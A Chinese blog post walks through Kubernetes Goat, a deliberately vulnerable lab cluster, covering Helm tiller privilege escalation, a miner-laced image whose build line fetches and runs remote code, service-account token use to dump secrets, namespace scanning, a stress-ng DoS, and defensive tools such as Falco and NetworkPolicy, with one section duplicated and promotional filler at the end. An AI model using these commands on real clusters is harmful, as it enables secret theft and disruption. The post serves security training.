通过Kuberneters Goat学习K8S安全（下）

已于 2024-01-19 16:38:51 修改
阅读量180 收藏
点赞数 1
文章标签： 学习 kubernetes 安全
于 2023-08-27 13:45:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_61869253/article/details/132509808
版权

实验环境：https://katacoda.com/madhuakula/scenarios/kubernetes-goat

0x9 Helm v2 tiller 风险（已弃用）

此方案已被弃用，供学习参考，环境默认是 Helm v3版本，可以安装Helm v2版本来实验

Helm是Kubernetes的包管理器。这就像ubuntu的apt- get。在此场景中，利用较旧版本的HELM(版本2)，tiller服务 RBAC默认设置获取集群的访问权限。

helm init --service-account=tiller --tiller-image=gcr.io/kubernetes-helm/tiller:v2.14.1   --history-max 300  
​

运行以下命令开启场景：

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

默认情况配置下，Helm v2 Ttiller部署具有完全群集管理员权限的RBAC。

默认安装在 kube-system命名空间中，服务名称为tiller-deploy，端口 44134暴露在
0.0.0.0。所以我们可以通过运行 telnet命令来验证。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jvOkmvqw-1693021246031)(https://image.3001.net/images/20220425/1650867026_62663b528910ee48bef56.png!small)]

telnet tiller-deploy.kube-system 44134

image-20220401171835929

现在，我们可以连接到tiller服务端口了。我们可以使用 helm来执行操作并与 tiller服务通信。

image-20220401172032128

让我们试试是否可以从Kube-System命名空间获取集群中的Kubernetes secrets

image-20220402105832760

发现没有权限访问。

然后可以创建自己的 helm chart来授予默认服务帐户完全集群管理员访问权限，因为默认情况下，当前 pod部署在具有默认service account的默认命名空间中。

helm --host tiller-deploy.kube-system:44134 install --name pwnchart /pwnchart

image-20220401172737067

现在 pwnchart 已部署，它已授予所有默认服务帐户集群管理员访问权限。因此，让我们再次尝试获取 kube-system namespace secrets

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RoArQ1fu-1693021246037)(https://image.3001.net/images/20220425/1650867030_62663b56a96020536169c.png!small)]

此场景会改变Tiller部署的执行方式，有时管理员会使用特定权限将Tiller部署到特定的名称空间。同样在Helm v3中，也没有tiller服务来缓解此类漏洞。

参考资料：

https://engineering.bitnami.com/articles/helm-security.html

0x10 分析被部署挖矿软件的容器镜像

针对基础设施的挖矿攻击越来越流行。尤其是像
Kubernetes这样的环境很容易成为目标，因为你甚至看不到容器镜像到底是基于什么构建的，以及它在主动监控方面做了什么。在此场景中，我们将分析和识别被植入挖矿软件的容器镜像。

首先，确定 Kubernetes集群中的所有资源/镜像和包括作业。

controlplane $ kubectl get jobs  
NAME               COMPLETIONS   DURATION   AGE  
batch-check-job    1/1           6m32s      32m  
hidden-in-layers   0/1

标识Kubernetes群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息。

一旦我们确定了在Kubernetes集群中运行的作业，就可以通过运行以下命令来获取Pod信息。

kubectl describe job batch-check-job

image-20220329153905246

获取pods信息：

kubectl get pods --namespace default -l "job-name=batch-check-job"

image-20220329154013352

获取pod信息manifest并分析：

kubectl get pod batch-check-job-xxxx -o yaml

image-20220329154147170

image-20220329154440432

可以看到Docker镜像名称是madhuakula/k8s-goat-batch-check

然后通过docker history查看镜像的构建历史记录：

docker history --no-trunc madhuakula/k8s-goat-batch-check

image-20220329154959332

我们发现它在其中一层的构建中植入了恶意挖矿脚本

curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup     && chmod +x /usr/bin/system-startup
0x11 绕过Kubernetes命名空间

场景描述

默认情况下，Kubernetes使用平行网络架构，这意味着集群中的任何 pod/service都可以与其他
pod/service通信。默认情况下，集群内的命名空间没有任何网络安全限制。命名空间中的任何容器都可以与其他命名空间通信。我们听说
Kubernetes-Goat喜欢缓存。让我们看看我们是否可以访问其他命名空间。

首先运行以下命令，创建一个名为hacker-container的容器：

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

收集集群IP信息：

ip route  
ip a show  
printenv

image-20220330124508928

基于对系统的分析/理解，尝试使用zmap扫描集群内的redis服务信息：

zmap -p 6379 10.0.0.0/8 -o results.csv

image-20220330124658386

查看结果：

image-20220330135507655

还有另一种方法可以访问 Kubernetes 中的服务/pod。例如使用
[DNS](https://kubernetes.io/docs/concepts/services-
networking/service/#dns)cache-store-service.secure- middleware(servicename.namespace)。<https://kubernetes.io/docs/concepts/services-
networking/service/#dns>

使用redis-cli进行连接

image-20220330135757210

集群内还有许多其他的服务和资源，比如ElasticSearch，Mongo等等。所以，如果你的侦察技术很好，那么你可以在这里找到很多有价值的东西。

0x12 获取环境信息

场景描述

Kubernetes中的每个环境都会有很多信息要共享。包括Secrets、API Keys、配置、服务等等关键内容。所以让我们继续收集关键信息！

访问[http://127.0.0.1:1233](http://127.0.0.1:1233/)

收集系统关键信息

id  
cat /proc/self/cgroup  
cat /etc/hosts  
mount  
ls -la /home/

image-20220330140750613

获取环境变量，包括 Kubernetes Secret的 K8S_GOAT_VAULT_KEY=k8s-goat- cd2da27224591da2b48ef83826a8a6c3和服务名称、端口等。

image-20220330141200751

0x13 针对环境的DoS风险

场景描述

如果Kubernetes资源清单中没有规范，也没有为容器应用限制范围。作为攻击者，我们可以消耗
pod/deployment运行的所有资源，并饿死其他资源，从而对环境造成 DoS攻击。

本场景在http://127.0.0.1:1236中完成

此部署 pod未在 Kubernetes清单中设置任何资源限制。所以我们可以轻松执行一些列消耗资源的操作。

在这个 pod中，安装了一个名为 stress-ng的程序（压力测试工具）

执行之前查看资源情况：

kubectl --namespace big-monolith top pod hunger-check-deployment-5d94d56fdb-hc2bv

image-20220331123127374

执行 stress-ng的程序

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

image-20220331122244902

再次查看资源情况：

image-20220331123239292

此攻击在某些情况下可能不起作用，如自动扩展、资源限制等情况

0x14 hacker-container 简介

场景描述

这个场景只是对Kubernetes集群环境中的常见安全实用程序的探索。在之前你可能已经多次使用过hacker-container了。

运行：

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

Hacker Container是一个实用工具，其中包含黑客入侵Kubernetes集群时可能会用的工具/命令列表。因此，你可以使用它对
Kubernetes环境进行自由探索。在这里，我们介绍一些强大的实用程序。

容器自检实用程序，用于获取系统功能的概述：

amicontained

image-20220331124353969

针对内部服务执行 Nikto扫描

nikto.pl -host http://metadata-db

image-20220331124446880

还有许多其他程序。为了最大限度地利用hacker-container，我们可以使用主机特权、卷、进程等等。

0x15 Hidden in layers

场景描述

敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中，密码、私钥、令牌等很容易被错误处理。此场景下，我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一。

执行以下命令，开始本次场景：

kubectl get jobs

image-20220331125137488

尝试浏览运行容器中的所有文件、环境变量等。接下来，尝试用不同的工具分析上面使用的镜像，以找到暴露的敏感信息。

获取详细信息：

image-20220331125704928

image-20220331125731835

使用docker cli分析镜像信息

docker inspect madhuakula/k8s-goat-hidden-in-layers

image-20220331125947437

可以看到镜像设置了容器启动时要执行的一些命令。但获取的信息还太少，继续探索。

如果我们了解这个镜像是如何从头开始构建的，也许对我们会更有帮助。如果你有 dockerfile，可以直接分析镜像的
dockerfile。如果没有，可以通过其他几种方法分析。

  • 方法一，查看构建历史

    docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers

image-20220331130434101

可以看到在构建镜像的时候，添加了一个secret.txt的文件，可能是密钥之类的敏感文件。

  • 方法二，通过镜像反向生成dockerfile

可以通过alpine/dfimage工具生成指定镜像的dockerfile

    alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"  
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers

image-20220331130815995

  • 方法三，使用Dive工具

Dive是一个非常棒的工具，可以帮助分析镜像的每一层。https://github.com/wagoodman/dive

安装方式可以参考官方说明，使用方法如下

    dive madhuakula/k8s-goat-hidden-in-layers

image-20220331131337382

从以上分析中，我们可以看到/root/contributions.txt, /root/secret.txt这两个比较重要和可疑的文件。

接下来看看是否可以在运行的容器中找到这些文件。

image-20220331132317529

可以看到只有contribution.txt，而secret.txt，在构建的时候被删除了。我们现在想办法恢复它。

首先使用docker save把镜像导出为文件。

docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar

解压出来：

tar -xvf hidden-in-layers.tar

image-20220331132838602

我们可以看到每个层都被导出为一个单独的tar文件。这个镜像有3层，所以有3个tar文件。这里因为只有3层，所以很容易提取所有的层并检查内容，但如果镜像有上百层，这个方法就不太好用了。

根据之前dive的检查结果

image-20220331133345023

在id为da73da4359e9edb793ee5472ae3538be8aec57c27efff7dae8873566c865533f的这一层，添加了secret.txt文件，所以我们解压这一层的tar进行文件分析

image-20220331133814688

image-20220331133837902

找到了关键信息。

参考：

深入了解docker层：<https://jessicagreben.medium.com/digging-into-docker-
layers-c22f948ed612>

0x16 RBAC最低权限配置错误

场景描述

在现实世界中，们经常看到开发人员和
devops团队往往会提供超出需求的额外权限。这种情况发生时，攻击者获得了比他们预期的更多的控制权和特权。在此场景中，你可以利用绑定到 pod的
serviceaccount提供的 webhookapikey访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对
vaultapikey的访问权限。

首先访问[http://127.0.0.1:1236](http://127.0.0.1:1236/)

image-20220331135436032

此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者，我们可以利用这一点来访问其他资源和服务。

由于Kubernetes默认情况下将所有secrets、tokens和service accounts信息都存储在一个固定的目录。

直接访问这个目录，查找敏感的信息：

cd /var/run/secrets/kubernetes.io/serviceaccount/  
ls -la

image-20220331135819692

现在我们可以使用这些信息与 Kubernetes API服务进行交互，该服务具有对令牌的可用权限和特权。

指向内部 API 服务器主机名：

export APISERVER=https://${KUBERNETES_SERVICE_HOST}

设置 ServiceAccount令牌的路径

export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

读取 pods namespace并将其设置为变量。namespace应该是 big-monolith，如果它是default，你需要将
Kubernetes-goat更新到最新版本（<https://github.com/madhuakula/kubernetes-
goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1>）

export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

指定读取ServiceAccount持有者令牌

export TOKEN=$(cat ${SERVICEACCOUNT}/token)

指定在cURL请求查询时要使用的证书路径

export CACERT=${SERVICEACCOUNT}/ca.crt

然后就可以使用令牌和构造的查询来访问 Kubernetes API了

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

image-20220331143413299

查询default命名空间中的secrets

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets

image-20220331143521011

查询特定命名空间的secrets

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets

image-20220331144019449

查询特定命名空间中的pod

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

image-20220331144158593

因为 Kubernetes本身是利用 API服务来创建、删除 pod等操作的，所以你可以尝试并利用所有可能的 Kubernetes操作。

获取 k8svaultapikey

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey

image-20220331144406359

解密看看:

echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d

image-20220331144536304

0x17 利用KubeAudit 审计 Kubernetes 集群

场景描述

本场景主要针对Kubernetes集群的各种不同安全问题进行审计。

要开始这个场景，你可以运行以下命令启动一个具有集群管理员权限的hacker-container(tiller Service Account拥有集群管理员权限)

这一步可能需要先在kubernetes集群上为Tiller创建具有集群管理员权限的Service Account。

相关教程：https://cloud.tencent.com/developer/article/1559675

kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash

image-20220331151635057

kubeaudit是一个命令行工具和一个 Go包，用于审计 Kubernetes集群各种不同的安全问题，例如：

  • run as non-root //非root运行

  • use a read-only root filesystem //使用只读文件系统

  • drop scary capabilities, don’t add new ones //丢弃高危 capabilities，不添加新的

  • don’t run privileged //不要以特权身份运行

  • and more! //等更多

有关该项目的更多详细信息，请参考 https://github.com/Shopify/kubeaudit

运行 kubeaudit。 Kubeaudit会检测它是否在集群中的容器内运行。如果是这样，它将尝试审计该集群中的所有
Kubernetes资源。

kubeaudit all

image-20220331152513407

image-20220331152807143

0x18 使用 Sysdig Falco 进行运行时安全监控和检测

场景描述

这个场景是为容器和Kubernetes资源部署运行时安全监控和检测。

要开始使用此方案，你需要使用helm v3进行部署

helm repo add falcosecurity https://falcosecurity.github.io/charts  
helm repo update  
helm install falco --set falco.jsonOutput=true  falcosecurity/falco

image-20220331154313397

云原生运行时安全项目Falco是事实上的 Kubernetes 威胁检测引擎。 Falco由 Sysdig于 2016
年创建，是第一个作为孵化级项目加入 CNCF的运行时安全项目。 Falco可在运行时检测意外的应用程序行为并发出威胁警报。

Falco通过以下方式使用系统调用来保护和监控系统：

  • Parsing the Linux system calls from the kernel at runtime //在运行时从内核解析 Linux 系统调用

  • Asserting the stream against a powerful rules engine //强大的规则引擎断言流

  • Alerting when a rule is violated //在违反规则时发出警报

Falco附带了一组默认规则，用于检查内核的异常行为，例如：

  • Privilege escalation using privileged containers //使用特权容器提权

  • Namespace changes using tools like setns//使用 setns 等工具更改命名空间

  • Read/Writes to well-known directories such as /etc, /usr/bin, /usr/sbin, etc //对场景目录的读/写操作，如/etc、/usr/bin、/usr/sbin等

  • Creating symlinks //创建符号链接

  • Ownership and Mode changes //所有权和模式更改

  • Unexpected network connections or socket mutations //意外的网络连接或套接字突变

  • Spawned processes using execve //使用execve派生的进程

  • Executing shell binaries such as sh, bash, csh, zsh, etc //执行 shell 二进制文件，例如 sh、bash、csh、zsh 等

  • Executing SSH binaries such as ssh, scp, sftp, etc //执行 SSH 二进制文件，例如 ssh、scp、sftp 等

  • Mutating Linux coreutils executables //异常的Linux核心实用程序可执行文件

  • Mutating login binaries //异常的登录二进制文件

  • Mutating shadowutil or passwd executables such as shadowconfig, pwck, chpasswd, getpasswd, change, useradd, etc, and others. // 异常的shadowutil 或 passwd 可执行文件，例如 shadowconfig、pwck、chpasswd、getpasswd、change、useradd 等。

获取 falco部署的更多详细信息

image-20220331155622149

手动从Falco系统获取日志

kubectl logs -f -l app=falco

image-20220331155713860

现在，让我们启动一个hacker container并读取敏感文件，看看Falco是否能检测到

image-20220331160112355

image-20220401141027729

0x19 使用Popeye发现Kubernetes集群潜在问题

场景描述

此场景主要是通过实时扫描Kubernetes集群来审核Kubernetes集群，并上报部署的资源和配置的潜在问题。

要开始这个场景，运行以下命令启用具有集群管理员权限的hacker container

kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash

Popeye是一种实用程序，可扫描实时
Kubernetes集群并报告已部署资源和配置的潜在问题。它根据部署的内容为集群消毒。通过扫描集群，它可以检测错误配置并帮助你确保最佳实践到位，从而防止未来出现问题。Popeye是一个只读工具，它不会以任何方式改变任何
Kubernetes资源。

以下是一些检查和扫描列表：

  • Node //节点

  • Namespace

  • Pod

  • Service

  • ServiceAccount

  • Secrets

  • ConfigMap

  • Deployment

  • StatefulSet

  • DaemonSet

  • PersistentVolume

  • PersistentVolumeClaim

  • HorizontalPodAutoscaler

  • PodDisruptionBudget

  • ClusterRole

  • ClusterRoleBinding

  • Role

  • RoleBinding

  • Ingress

  • NetworkPolicy

  • PodSecurityPolicy

有关该项目的更多详细信息，请参考 https://github.com/derailed/popeye

使用cluster token权限在集群中运行运行popeye

image-20220401142701925

image-20220401142722133

image-20220401142738904

image-20220401142815255

可以看到，集群健康评分为83 B

0x20 使用 NSP 保护网络边界

场景描述

这个场景是为Kubernetes资源部署一个简单的网络安全策略来创建安全边界。

要开始此场景，请确保必须使用支持NetworkPolicy的网络解决方案。

场景提供来自：https://github.com/ahmetb/kubernetes-network-policy-recipes

如果你希望在IP地址或端口层面（OSI第 3 层或第 4 层）控制网络流量， 则你可以考虑为集群中特定应用使用
Kubernetes网络策略（NetworkPolicy）。

NetworkPolicy是一种以应用为中心的结构，允许你设置如何允许 Pod与网络上的各类网络“实体”
（我们这里使用实体以避免过度使用诸如“端点”和“服务”这类常用术语， 这些术语在 Kubernetes中有特定含义）通信。

Pod 可以通信的 Pod是通过如下三个标识符的组合来辩识的：

1、其他被允许的 Pods（例外：Pod无法阻塞对自身的访问）

2、被允许的名字空间

3、IP组块（例外：与 Pod运行所在的节点的通信总是被允许的， 无论 Pod或节点的 IP地址）

在定义基于 Pod或namespace的 NetworkPolicy时，你可以使用
selector来设定哪些流量可以进入或离开与该selector匹配的 Pod。

同时，当基于 IP的 NetworkPolicy被创建时，我们基于 IP组块（CIDR范围） 来定义策略。

创建一个拒绝所有去往应用流量的策略

此 NetworkPolicy会将所有去往被Pod Selectors选择的应用程序pod流量丢弃。

使用案例：

  • 这其实很常见：如果要使用白名单网络策略，首先需要使用此策略将流量列入黑名单

  • 你想运行一个 Pod并希望阻止任何其他 Pod与其通信

  • 你暂时希望将发往某个服务的流量与其他Pod隔离

202204011510132.gif

示例

运行一个labels为app=web的Nginx pod，并暴露80端口

kubectl run --image=nginx web --labels app=web --expose --port 80

运行一个临时 Pod并向 Web Service发送请求

kubectl run --rm -i -t --image=alpine test-$RANDOM -- sh

image-20220401151749887

可以看到能够正常访问，现在我们对集群应用下列网络策略

kind: NetworkPolicy  
apiVersion: networking.k8s.io/v1  
metadata:  
name: web-deny-all  
spec:  
podSelector:  
matchLabels:  
app: web  
ingress: []

image-20220401152000012

再次尝试请求Web Service

image-20220401160902584

流量被丢弃了

Kuberneters Goat
提供的在线环境中，使用的是flannel网络解决方案，是不支持NetworkPolicy的。可以使用Calico网络解决方案。

说明：

  • 在上面的清单中，我们以带有 app=web标签的 Pod为目标来配置网络策略。此清单文件缺少 spec.ingress字段。因此它不允许任何流量进入 Pod。

  • 如果你创建另一个 NetworkPolicy让某些 Pod直接或间接访问此应用程序，则此 NetworkPolicy将失效。

  • 如果至少有一个 NetworkPolicy的规则允许流量，则意味着流量将被路由到 Pod，而不管阻止流量的策略如何。

删除策略

kubectl -- delete -f web-deny-all.yaml

更多参考资料和资源可以在 https://github.com/ahmetb/kubernetes-network-policy-recipes找到

Cilium 编辑器 - 网络策略编辑器

Cilium编辑器一个教你如何创建网络策略的工具/框架。它解释了基本的网络策略概念，并指导你完成实现所需的最低权限安全和零信任概念所需的步骤。

在线访问 Cilium Editorhttps://editor.cilium.io/

image-20220401162436964

参考资料：

<https://kubernetes.io/docs/concepts/services-networking/network-
policies/><https://github.com/ahmetb/kubernetes-network-policy-
recipes>https://editor.cilium.io/

0x21 Kubernetes Goat的安全扫描报告

使用其他开源安全工具扫描Kubernetes Goat基础设施生成的安全扫描报告

扫描报告了232个问题：

image-20220401163135800

  • KICS：https://kics.io/KICS扫描报告了 265 个问题和Kubernetes Goat中的 Docker配置问题。

详细报告：https://madhuakula.com/kubernetes-goat/reports/kics-output.html

更多网安技能的在线实操练习，请点击这里>>

访问 Cilium Editorhttps://editor.cilium.io/

[外链图片转存中…(img-Fh5fT2SM-1693021246082)]

参考资料：

<https://kubernetes.io/docs/concepts/services-networking/network-
policies/><https://github.com/ahmetb/kubernetes-network-policy-
recipes>https://editor.cilium.io/

0x21 Kubernetes Goat的安全扫描报告

使用其他开源安全工具扫描Kubernetes Goat基础设施生成的安全扫描报告

扫描报告了232个问题：

[外链图片转存中…(img-5dhLDzfo-1693021246083)]

  • KICS：https://kics.io/KICS扫描报告了 265 个问题和Kubernetes Goat中的 Docker配置问题。

详细报告：https://madhuakula.com/kubernetes-goat/reports/kics-output.html

更多网安技能的在线实操练习，请点击这里>>

最后

从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。

因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。

干货主要有：

①1000+CTF历届题库（主流和经典的应该都有了）

②CTF技术文档（最全中文版）

③项目源码（四五十个有趣且经典的练手项目及源码）

④ CTF大赛、web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

扫码领取

python-qing
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kubernetes山羊：Kubernetes山羊是“易受设计攻击的” Kubernetes集群。 旨在成为故意易受攻击的集群环境，以学习和实践Kubernetes安全
02-02
Kubernetes山羊 Kubernetes Goat被设计为一个故意易受攻击的集群环境，用于学习和实践Kubernetes安全。 请参阅以获取指南。 最近的Kubernetes山羊演示 OWASP湾区聚会 DEFCON红队村 EkoParty 2020-DevSecOps :game_die: 只需使用Katacoda Playground在浏览器中免费单击并播放-立即尝试 :gear_selector: 设置Kubernetes山羊 在设置Kubernetes Goat之前，请确保您已经创建并具有对Kubernetes集群的管理员访问权限 kubectl version --short 在您的路径中将头盔版本2设置为helm2 。 有关设置的更多信息，请参考头盔 helm2 --help 然后通过运行以下命令最终设置Kubernetes Goat git clone https://github.com/madhuakula/kubernetes-goat.git cd kubernetes-goat bash setup-kubernetes-goat.s
Kubernetes山羊是一个“易受设计攻击的” Kubernetes集群。-Linux开发
05-27
Kubernetes Goat被设计为故意易受攻击的集群环境，以学习和实践Kubernetes的安全性。 Kubernetes Goat Kubernetes Goat被设计为故意易受攻击的集群环境，以学习和实践Kubernetes安全。 请参阅https://madhuakula.com/kubernetes-goat以获取指南。 :game_die:只需单击并使用Katacoda Playground在浏览器中免费播放-立即尝试https://katacoda.com/madhuakula/scenarios/kubernetes-goat:gear:设置Kubernetes山羊在设置Kubernetes山羊之前，请确保您已创建并具有管理员访问权限到Kubernetes集群
云原生靶场kebernetesGoat、Metarget
Love&Share
03-26 2063
在这个场景中，我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod，它允许我们访问宿主机系统并提供节点级配置，这样会带来可以获取整个集群控制权限的危害。Kubernetes Goat 是一款针对 Kubernetes 安全的学习、测试和练习工具，该工具可以给广大研究人员提供一个存在安全缺陷（故意留下漏洞）的集群环境，来帮助广大安全爱好者学习和实践 Kubernetes 安全。服务进行通信，我们可以通过它创建新的容器，并把宿主机的目录挂载到新创建的容器中，这样我们就能访问宿主机的资源了。
探索Kubernetes安全边界：Kube-Goat项目深度剖析与应用
最新发布
gitblog_00098的博客
06-25 248
探索Kubernetes安全边界：Kube-Goat项目深度剖析与应用 项目地址:https://gitcode.com/ksoclabs/kube-goat 在云原生时代，Kubernetes已成为容器编排的不二之选。然而，随着其广泛部署，安全性问题日益凸显。针对这一痛点，Kube-Goat——一个专为教育而设计的故意脆弱的Kubernetes集群应运而生。 项目介绍 Kube-Goat是一个...
flask-goat:通过 GitHub OAuth 和组织进行安全和用户管理的 Flask 插件
06-30
烧瓶山羊 通过 GitHub OAuth 和组织进行安全和用户管理的 Flask 插件 这是预发布。 它将在上。
Fallen London Goat Farmer's Extension-crx插件
04-06
语言:English 每次您访问Fallen London的Bazaar页面时，此扩展程序都会计算并显示您的总财富。 每次您访问Fallen London的Bazaar页面时，此扩展程序都会计算并显示您的总财富。 它包括从计算中排除某些项目的选项。...
matlab goat资源包
12-19
通过学习这个资源包，你可以深入理解遗传算法的基本原理，掌握如何在Matlab中编写遗传算法的程序，以及如何利用goat工具包提升算法性能。这将有助于你在面对复杂优化问题时，能够灵活运用遗传算法，寻找高效的解决...
Goat工具箱及安装使用方法.zip
07-19
这些实例代码是学习和理解Goat工具箱使用的关键，通过实际操作，你可以更好地掌握各种算法的使用技巧。 此外，Goat工具箱还支持自定义算法的开发和测试，如果你有新的优化算法思路，可以将其集成到工具箱中，进一步...
gaot.rar_GAOT_GOAT_gaot 遗传算法_遗传算法 _遗传算法goat
09-20
《GAOT：高效实现遗传算法的工具包》 在计算机科学和优化问题的解决中，遗传算法（Genetic ...通过不断的学习和实践，开发者可以充分利用GAOT，解决各种复杂问题，提高工作效率，为科研和工程创新注入新的活力。
Cilium 未来数据平面：支撑 100Gbit/s k8s 集群
云原生实验室
11-14 554
❝本文转自赵亚楠的博客，原文：http://arthurchiao.art/blog/cilium-tomorrow-networking-data-plane-zh/，版权归原作者所有。欢迎投稿，投稿请添加微信好友：cloud-native-yang译者序本文翻译自 KubeCon+CloudNativeCon North America 2022 的一篇分享： 100 Gbit/s Clust...
GopherDaily给大家拜年了！ | Gopher Daily (2021.02.12) ʕ◔ϖ◔ʔ
TonyBai
02-12 213
每日一谚：Return error as error: don't panic.今天是牛年大年初一，给大家拜年了！祝大家牛财旺盛、牛福永恒、牛气哄哄、牛气冲天、牛运亨通、牛股相随、...
介绍一个小工具：网络策略可视化编辑器
k8s 生态
02-20 564
引子跳过本节不影响阅读既然是牛年第一篇，总要写点废话起个头。另外写小工具系列经常面对的一个难题就是——怎样凑够 300 字的原创门槛。2020 年有大半年我都在唠叨云原生安全的事情，现在的...
通过编辑器创建可视化Kubernetes网络策略
u012516914的专栏
02-21 289
实现网络策略是构建基于kubernetes的安全平台的关键部分，但是从简单的示例到更复杂的现实策略的学习曲线是陡峭的。不仅要使YAML语法和格式正确，而且更重要的是，在网络策略规范的行为中...
图形化创建Kubernetes的网络策略
随笔记录-分享&记忆
02-15 332
https://editor.cilium.io You start with an empty policy that does not restrict or allow anything. By default, all traffic for all pods is allowed in Kubernetes. The box in the middle represents a podSelector; it selects pods in a namespace to apply policy
kubernetes 安全
firefly
03-18 166
虚拟化容器 为了更安全地隔离容器，避免容器进程逃逸，权限升级等安全问题 现有的实现有Kata Containers和gVisor Kata Containers 使用传统的虚拟化技术，通过虚拟硬件模拟出了一台“小虚拟机”，然后在这个小虚拟机里安装了一个裁剪后的 Linux 内核来实现强隔离 为一个Pod对应启动一个轻量化虚拟机，Pod中的容器，就是运行在这个轻量级虚拟机里的进程 也可以...
运维篇 k8s（Kubernetes）
用针戳左手中指指头的博客
05-03 1936
文章目录1. 什么是k8s？2. 安装Ubuntu server3. 安装docker4. 搭建集群1. 修改主机名2.安装kubelet、kubeadm、kubectl3.配置master4. 配置node5. 网络配置6. 实例：运行tomcat容器 1. 什么是k8s？ k8s是kubernetes的简称，即字母“k”到最后一位相隔8位字母。名字来源于希腊语，意思是“舵手”或“领航员”。 k...
遗传算法goat工具箱
08-16
C知道: 遗传算法是一种模拟自然进化过程的优化算法，被广泛应用于解决复杂问题。Goat工具箱是一个基于MATLAB的遗传算法工具箱，用于实现和应用遗传算法的相关操作和功能。 Goat工具箱提供了一系列函数和工具，可以帮助用户定义问题的适应度函数、选择、交叉和变异操作等。它还包括了种群初始化、进化过程控制和结果分析等功能，使得用户可以方便地使用遗传算法来求解自己的问题。 通过 Goat工具箱，用户可以自定义问题的特定约束和目标函数，并进行参数调节和优化。同时，它也提供了一些常用的示例和应用案例，帮助用户更好地理解和使用遗传算法。 总的来说，遗传算法Goat工具箱是一个方便易用的工具，可以帮助用户快速实现和应用遗传算法来解决各种问题。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值